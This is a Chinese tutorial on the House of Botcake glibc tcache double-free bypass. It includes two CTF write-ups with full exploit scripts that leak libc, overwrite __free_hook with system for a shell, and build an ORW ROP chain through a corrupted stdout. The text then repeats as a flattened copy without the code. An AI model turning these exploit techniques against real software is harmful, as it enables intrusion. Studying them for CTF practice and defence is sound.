House of Botcake
字数 1662 2025-08-05 08:35:55

House of Botcake 利用技术详解

背景知识

在 glibc 2.29~glibc 2.31 版本中,tcache 引入了 key 值来进行 double free 检测,使得旧版本中直接进行 double free 的方法失效。House of Botcake 是一种绕过这种检测的技术,本质是通过 UAF (Use After Free) 来实现绕过。

Tcache 安全检查机制

源码来自 glibc 2.31:

typedef struct tcache_entry {
    struct tcache_entry *next;  // 链表指针,对应 chunk 中的 fd 字段
    /* This field exists to detect double frees. */
    struct tcache_perthread_struct *key;  // 指向所属的 tcache 结构体,对应 chunk 中的 bk 字段
} tcache_entry;

每个 tcache 中的 chunk 增加了一个 key 指针,用于指向所属的 tcache 结构体:

static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
    tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
    /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */
    e->key = tcache;  // 设置所属的 tcache
    e->next = tcache->entries[tc_idx];  // 单链表头插法
    tcache->entries[tc_idx] = e;
    ++(tcache->counts[tc_idx]);  // 计数增加
}

size_t tc_idx = csize2tidx(size);
if (tcache != NULL && tc_idx < mp_.tcache_bins) {
    /* Check to see if it's already in the tcache. */
    tcache_entry *e = (tcache_entry *)chunk2mem(p);
    /* 如果是 double free,那么 put 时 key 字段被设置了 tcache,就会进入循环被检查出来
       如果不是,那么 key 字段就是用户数据区域,可以视为随机的,只有 1/(2^size_t) 的可能行进入循环,然后循环发现并不是 double free */
    if (__glibc_unlikely(e->key == tcache))  // 剪枝
    {
        tcache_entry *tmp;
        LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
        for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
            if (tmp == e)
                malloc_printerr("free(): double free detected in tcache 2");
    }
    if (tcache->counts[tc_idx] < mp_.tcache_count)  // 通过检查,放入 tcache 中
    {
        tcache_put(p, tc_idx);
        return;
    }
}

绕过 Tcache Double Free 检查的方法

  1. 破坏掉被 free 的堆块中的 key,绕过检查(常用)
  2. 改变被 free 的堆块的大小,遍历时进入另一 idx 的 entries
  3. House of Botcake(常用)

House of Botcake 原理

House of Botcake 合理利用了 Tcache 和 Unsortedbin 的机制:

  • 同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生
  • 第二次 Free 进入 Tcache,让高版本的 Tcache Double Free 再次成为可能

在条件合适的情况下,House of Botcake 极其容易完成多次任意分配堆块,是相当好用的手法。

利用姿势

通常的利用思路:

  1. 填充完 tcache bin 链表
  2. 把一个 chunkA free 到 unsorted bin 中
  3. 把这一个 chunkA 上面紧邻的 chunkB free 掉,这样 A、B 就会合并
  4. unsorted bin 中的 fd 指针就从 chunkA 的 fd 指针,变成了 chunkB 的 fd 指针
  5. 先申请一个 chunk 在 tcache bin 中给 chunk A 留下空间
  6. 利用 House of Botcake 的原理再 free chunkA,这时候 chunk A 已经 double free 了
  7. 在 unsorted bin 中申请一个比较大的空间,通过 chunkB、chunkA 的相邻来改变 chunkA 的 fd 指针

实例分析

HGAME 2023 week2 new_fast_note

漏洞分析

程序提供了基本的堆操作功能:

  • add_note: 添加笔记,限制数量为 19,大小不超过 0xFF
  • delete_note: 删除笔记
  • show_note: 显示笔记内容

利用思路

  1. 填充 tcache bin
  2. 释放 chunk 到 unsorted bin 泄露 libc 地址
  3. 利用 House of Botcake 实现 double free
  4. 修改 __free_hook 为 system
  5. 释放包含 "/bin/sh" 的 chunk 获取 shell

EXP 代码

for i in range(7):
    add(i, 0x80, 'a')
add(7, 0x80, 'a')
add(8, 0x80, 'a')
add(9, 0x20, 'b')

for i in range(7):
    delete(i)
delete(8)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1ecbe0
__free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]

delete(7)
add(10, 0x80, 'a')
delete(8)  # double free

payload = 'a'*0x80 + p64(0) + p64(0x91) + p64(__free_hook)
add(11, 0xa0, payload)
add(12, 0x80, '/bin/sh\x00')
add(13, 0x80, p64(system_addr))
delete(12)

CISCN 2022 华东北分区赛 blue

漏洞分析

程序限制:

  1. add 申请 size <= 0x90
  2. 开启了 sandbox
  3. 只有一次 UAF
  4. 只有一次 show

利用思路

  1. 通过 unsorted bin 向前合并堆块
  2. 申请 chunk 改变 UAF 存留在 tcache bin 中的指针
  3. 修改 IO_2_1_stdout 结构体
  4. 用 environ 泄露出栈地址以获得程序的返回地址
  5. 再次释放重叠的堆块,修改 size 和 fd
  6. 构造 ORW 链获取 flag

EXP 代码

for i in range(7):
    add(0x80, 'aaaa')
add(0x80, 'aaaa')
add(0x80, 'aaaa')
add(0x80, 'aaaa')
add(0x10, 'aaaa')

for i in range(7):
    delete(i)

UAF(8)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1ecbe0
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']

delete(7)
add(0x80, 'aaaa')  #0
delete(8)
add(0x70, 'aaaa')  #1
add(0x90, p64(0) + p64(0x91) + p64(stdout))  #2
add(0x80, 'aaaa')  #3
add(0x80, p64(0xfbad1887) + p64(0)*3 + p64(environ) + p64(environ+8))  #4

stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x128

delete(3)
delete(2)
add(0x90, p64(0) + p64(0x91) + p64(stack_addr))
add(0x80, 'aaaa')

flag_addr = stack_addr
ppp = stack_addr + 0x200
pl = b'./flag\x00\x00'
pl += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
pl += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)
pl += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr)
add(0x80, pl)

总结

House of Botcake 是一种在高版本 glibc 中实现 double free 的有效技术,关键在于:

  1. 合理利用 unsorted bin 和 tcache 的机制
  2. 通过堆块合并改变指针
  3. 在适当的时候进行 double free
  4. 结合其他技术如 IO 泄露、ORW 等实现完整利用

这种技术在 CTF 比赛中经常出现,掌握其原理和实现方式对于堆漏洞利用至关重要。

House of Botcake 利用技术详解 背景知识 在 glibc 2.29~glibc 2.31 版本中,tcache 引入了 key 值来进行 double free 检测,使得旧版本中直接进行 double free 的方法失效。House of Botcake 是一种绕过这种检测的技术,本质是通过 UAF (Use After Free) 来实现绕过。 Tcache 安全检查机制 源码来自 glibc 2.31: 每个 tcache 中的 chunk 增加了一个 key 指针,用于指向所属的 tcache 结构体: 绕过 Tcache Double Free 检查的方法 破坏掉被 free 的堆块中的 key,绕过检查(常用) 改变被 free 的堆块的大小,遍历时进入另一 idx 的 entries House of Botcake(常用) House of Botcake 原理 House of Botcake 合理利用了 Tcache 和 Unsortedbin 的机制: 同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生 第二次 Free 进入 Tcache,让高版本的 Tcache Double Free 再次成为可能 在条件合适的情况下,House of Botcake 极其容易完成多次任意分配堆块,是相当好用的手法。 利用姿势 通常的利用思路: 填充完 tcache bin 链表 把一个 chunkA free 到 unsorted bin 中 把这一个 chunkA 上面紧邻的 chunkB free 掉,这样 A、B 就会合并 unsorted bin 中的 fd 指针就从 chunkA 的 fd 指针,变成了 chunkB 的 fd 指针 先申请一个 chunk 在 tcache bin 中给 chunk A 留下空间 利用 House of Botcake 的原理再 free chunkA,这时候 chunk A 已经 double free 了 在 unsorted bin 中申请一个比较大的空间,通过 chunkB、chunkA 的相邻来改变 chunkA 的 fd 指针 实例分析 HGAME 2023 week2 new_ fast_ note 漏洞分析 程序提供了基本的堆操作功能: add_ note: 添加笔记,限制数量为 19,大小不超过 0xFF delete_ note: 删除笔记 show_ note: 显示笔记内容 利用思路 填充 tcache bin 释放 chunk 到 unsorted bin 泄露 libc 地址 利用 House of Botcake 实现 double free 修改 __ free_ hook 为 system 释放包含 "/bin/sh" 的 chunk 获取 shell EXP 代码 CISCN 2022 华东北分区赛 blue 漏洞分析 程序限制: add 申请 size <= 0x90 开启了 sandbox 只有一次 UAF 只有一次 show 利用思路 通过 unsorted bin 向前合并堆块 申请 chunk 改变 UAF 存留在 tcache bin 中的指针 修改 IO_ 2_ 1_ stdout 结构体 用 environ 泄露出栈地址以获得程序的返回地址 再次释放重叠的堆块,修改 size 和 fd 构造 ORW 链获取 flag EXP 代码 总结 House of Botcake 是一种在高版本 glibc 中实现 double free 的有效技术,关键在于: 合理利用 unsorted bin 和 tcache 的机制 通过堆块合并改变指针 在适当的时候进行 double free 结合其他技术如 IO 泄露、ORW 等实现完整利用 这种技术在 CTF 比赛中经常出现,掌握其原理和实现方式对于堆漏洞利用至关重要。